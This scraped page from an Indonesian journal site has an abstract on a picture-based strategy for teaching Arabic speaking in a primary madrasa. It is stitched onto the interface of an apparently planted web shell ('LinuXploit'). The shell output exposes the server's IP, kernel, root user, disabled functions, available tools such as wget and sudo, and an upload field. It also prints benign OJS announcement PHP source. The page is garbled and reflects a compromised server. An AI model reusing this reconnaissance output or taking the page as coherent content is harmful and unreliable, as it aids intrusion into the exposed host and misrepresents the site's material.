Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
Server IP : 103.175.217.176 / Your IP : 3.21.21.209 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/bilfatvps/html/journal.stitaf.ac.id/lib/pkp/classes/announcement/ |
Upload File : |
<?php /** * @file classes/announcement/AnnouncementDAO.inc.php * * Copyright (c) 2014-2019 Simon Fraser University * Copyright (c) 2000-2019 John Willinsky * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING. * * @class AnnouncementDAO * @ingroup announcement * @see Announcement * * @brief Operations for retrieving and modifying Announcement objects. */ import('lib.pkp.classes.announcement.Announcement'); class AnnouncementDAO extends DAO { /** * Retrieve an announcement by announcement ID. * @param $announcementId int * @param $assocType int Optional assoc type * @param $assocId int Optional assoc ID * @return Announcement */ function getById($announcementId, $assocType = null, $assocId = null) { $params = array((int) $announcementId); if ($assocType !== null) $params[] = (int) $assocType; if ($assocId !== null) $params[] = (int) $assocId; $result = $this->retrieve( 'SELECT * FROM announcements WHERE announcement_id = ?' . ($assocType !== null?' AND assoc_type = ?':'') . ($assocId !== null?' AND assoc_id = ?':''), $params ); $returner = null; if ($result->RecordCount() != 0) { $returner = $this->_fromRow($result->GetRowAssoc(false)); } $result->Close(); return $returner; } /** * Retrieve announcement Assoc ID by announcement ID. * @param $announcementId int * @return int */ function getAnnouncementAssocId($announcementId) { $result = $this->retrieve( 'SELECT assoc_id FROM announcements WHERE announcement_id = ?', (int) $announcementId ); return isset($result->fields[0]) ? $result->fields[0] : 0; } /** * Retrieve announcement Assoc ID by announcement ID. * @param $announcementId int * @return int */ function getAnnouncementAssocType($announcementId) { $result = $this->retrieve( 'SELECT assoc_type FROM announcements WHERE announcement_id = ?', (int) $announcementId ); return isset($result->fields[0]) ? $result->fields[0] : 0; } /** * Get the list of localized field names for this table * @return array */ function getLocaleFieldNames() { return array('title', 'descriptionShort', 'description'); } /** * Get a new data object. * @return DataObject */ function newDataObject() { return new Announcement(); } /** * Internal function to return an Announcement object from a row. * @param $row array * @return Announcement */ function _fromRow($row) { $announcement = $this->newDataObject(); $announcement->setId($row['announcement_id']); $announcement->setAssocType($row['assoc_type']); $announcement->setAssocId($row['assoc_id']); $announcement->setTypeId($row['type_id']); $announcement->setDateExpire($this->datetimeFromDB($row['date_expire'])); $announcement->setDatePosted($this->datetimeFromDB($row['date_posted'])); $this->getDataObjectSettings('announcement_settings', 'announcement_id', $row['announcement_id'], $announcement); return $announcement; } /** * Update the settings for this object * @param $announcement object */ function updateLocaleFields($announcement) { $this->updateDataObjectSettings('announcement_settings', $announcement, array( 'announcement_id' => $announcement->getId() )); } /** * Insert a new Announcement. * @param $announcement Announcement * @return int */ function insertObject($announcement) { $dateExpire = $announcement->getDateExpire(); $this->update( sprintf('INSERT INTO announcements (assoc_type, assoc_id, type_id, date_expire, date_posted) VALUES (?, ?, ?, %s, %s)', !empty($dateExpire)?$this->datetimeToDB($dateExpire):'null', $this->datetimeToDB($announcement->getDatetimePosted())), array( (int) $announcement->getAssocType(), (int) $announcement->getAssocId(), (int) $announcement->getTypeId() ) ); $announcement->setId($this->getInsertId()); $this->updateLocaleFields($announcement); return $announcement->getId(); } /** * Update an existing announcement. * @param $announcement Announcement * @return boolean */ function updateObject($announcement) { $dateExpire = $announcement->getDateExpire(); $returner = $this->update( sprintf('UPDATE announcements SET assoc_type = ?, assoc_id = ?, type_id = ?, date_expire = %s WHERE announcement_id = ?', !empty($dateExpire)?$this->datetimeToDB($dateExpire):'null'), array( (int) $announcement->getAssocType(), (int) $announcement->getAssocId(), (int) $announcement->getTypeId(), (int) $announcement->getId() ) ); $this->updateLocaleFields($announcement); return $returner; } /** * Delete an announcement. * @param $announcement Announcement * @return boolean */ function deleteObject($announcement) { return $this->deleteById($announcement->getId()); } /** * Delete an announcement by announcement ID. * @param $announcementId int * @return boolean */ function deleteById($announcementId) { $notificationDao = DAORegistry::getDAO('NotificationDAO'); $notificationDao->deleteByAssoc(ASSOC_TYPE_ANNOUNCEMENT, $announcementId); $this->update('DELETE FROM announcement_settings WHERE announcement_id = ?', (int) $announcementId); return $this->update('DELETE FROM announcements WHERE announcement_id = ?', (int) $announcementId); } /** * Delete announcements by announcement type ID. * @param $typeId int Announcement type ID * @return boolean */ function deleteByTypeId($typeId) { $announcements = $this->getByTypeId($typeId); while ($announcement = $announcements->next()) { $this->deleteObject($announcement); } } /** * Delete announcements by Assoc ID * @param $assocType int ASSOC_TYPE_... * @param $assocId int */ function deleteByAssoc($assocType, $assocId) { $announcements = $this->getByAssocId($assocType, $assocId); while ($announcement = $announcements->next()) { $this->deleteById($announcement->getId()); } return true; } /** * Retrieve an array of announcements matching a particular assoc ID. * @param $assocType int ASSOC_TYPE_... * @param $assocId int * @param $rangeInfo DBResultRange (optional) * @return object DAOResultFactory containing matching Announcements */ function getByAssocId($assocType, $assocId, $rangeInfo = null) { $result = $this->retrieveRange( 'SELECT * FROM announcements WHERE assoc_type = ? AND assoc_id = ? ORDER BY date_posted DESC', array((int) $assocType, (int) $assocId), $rangeInfo ); return new DAOResultFactory($result, $this, '_fromRow'); } /** * Retrieve an array of announcements matching a particular type ID. * @param $typeId int * @param $rangeInfo DBResultRange (optional) * @return object DAOResultFactory containing matching Announcements */ function getByTypeId($typeId, $rangeInfo = null) { $result = $this->retrieveRange( 'SELECT * FROM announcements WHERE type_id = ? ORDER BY date_posted DESC', (int) $typeId, $rangeInfo ); return new DAOResultFactory($result, $this, '_fromRow'); } /** * Retrieve an array of numAnnouncements announcements matching a particular Assoc ID. * @param $assocType int ASSOC_TYPE_... * @param $assocId int * @param $numAnnouncements int Maximum number of announcements * @param $rangeInfo DBResultRange (optional) * @return object DAOResultFactory containing matching Announcements */ function getNumAnnouncementsByAssocId($assocType, $assocId, $numAnnouncements, $rangeInfo = null) { $result = $this->retrieveRange( 'SELECT * FROM announcements WHERE assoc_type = ? AND assoc_id = ? ORDER BY date_posted DESC LIMIT ?', array((int) $assocType, (int) $assocId, (int) $numAnnouncements), $rangeInfo ); return new DAOResultFactory($result, $this, '_fromRow'); } /** * Retrieve an array of announcements with no/valid expiry date matching a particular Assoc ID. * @param $assocType int ASSOC_TYPE_... * @param $assocId int * @param $rangeInfo DBResultRange (optional) * @return object DAOResultFactory containing matching Announcements */ function getAnnouncementsNotExpiredByAssocId($assocType, $assocId, $rangeInfo = null) { $result = $this->retrieveRange( 'SELECT * FROM announcements WHERE assoc_type = ? AND assoc_id = ? AND (date_expire IS NULL OR DATE(date_expire) > DATE(NOW())) AND (DATE(date_posted) <= DATE(NOW())) ORDER BY date_posted DESC', array((int) $assocType, (int) $assocId), $rangeInfo ); return new DAOResultFactory($result, $this, '_fromRow'); } /** * Retrieve an array of numAnnouncements announcements with no/valid expiry date matching a particular Assoc ID. * @param $assocType int ASSOC_TYPE_... * @param $assocId int * @param $numAnnouncements Maximum number of announcements to include * @param $rangeInfo DBResultRange (optional) * @return object DAOResultFactory containing matching Announcements */ function getNumAnnouncementsNotExpiredByAssocId($assocType, $assocId, $numAnnouncements, $rangeInfo = null) { $result = $this->retrieveRange( 'SELECT * FROM announcements WHERE assoc_type = ? AND assoc_id = ? AND (date_expire IS NULL OR DATE(date_expire) > DATE(NOW())) AND (DATE(date_posted) <= DATE(NOW())) ORDER BY date_posted DESC LIMIT ?', array((int) $assocType, (int) $assocId, (int) $numAnnouncements), $rangeInfo ); return new DAOResultFactory($result, $this, '_fromRow'); } /** * Retrieve most recent announcement by Assoc ID. * @param $assocType int ASSOC_TYPE_... * @param $assocId int * @return Announcement */ function getMostRecentAnnouncementByAssocId($assocType, $assocId) { $result = $this->retrieve( 'SELECT * FROM announcements WHERE assoc_type = ? AND assoc_id = ? ORDER BY date_posted DESC LIMIT 1', array((int) $assocType, (int) $assocId) ); $returner = null; if ($result->RecordCount() != 0) { $returner = $this->_fromRow($result->GetRowAssoc(false)); } $result->Close(); return $returner; } /** * Get the ID of the last inserted announcement. * @return int */ function getInsertId() { return $this->_getInsertId('announcements', 'announcement_id'); } }
Youez - 2016 - github.com/yon3zu
LinuXploit